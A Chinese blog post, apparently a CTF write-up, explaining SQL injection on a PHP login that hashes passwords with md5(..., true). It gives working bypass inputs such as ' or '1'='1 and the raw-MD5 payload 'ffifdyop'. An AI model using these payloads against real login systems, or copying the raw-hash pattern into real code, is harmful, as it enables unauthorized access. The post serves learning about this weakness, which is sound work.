sql注入--敏感函数 MD5()的利用

突然想到很久前做的实验吧上的一道很有意思的注入题,当时看的大佬的wp,也不是很懂,今天就再看一下XD
界面是这样的:

看下源码:

提交password 然后数据库查询,查询的时候用到这个

1
password = '".md5($password,true)."'

假如查询语句是:

1
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '$_post(password)'";

我们很容易就绕过了–‘ or ‘1’=’1 或 ‘or 1=1;–

1
2
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or '1'='1'";
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or 1=1;

但是这个题目需要经过MD5加密,怎么绕过呢?orz。。
这里有个tip:原始MD5哈希在sql中很危险

看一下MD5()函数
语法:md5(string,raw)
参数:string: 必需。规定要计算的字符串。
raw:可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

危险就在于MD5()函数的第二个参数true, If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string(如果第二个参数为true,会返回原始值而不是16进制),raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL(原始值会包含mysql中的特殊字符,因此很危险)。

如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串就可以绕过。

网上搜到两个payload:
129581926211651571912466741651878684928
ffifdyop
ffifdyop md5后,276f722736c95d99e921722cf9ed621
再转成字符串: 'or'6<trash>
查询语句就变成:

1
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or '6<trash>

成功绕过登陆。
字符串是百度的,至于咋来的不懂,有老外的一篇文章<传送门>

关键利用点就是MD5()敏感函数,还是要多多积累这样的危险函数。
坚持写blog,要考试了,好好复习XD

-------------本文结束有错指正哦!-------------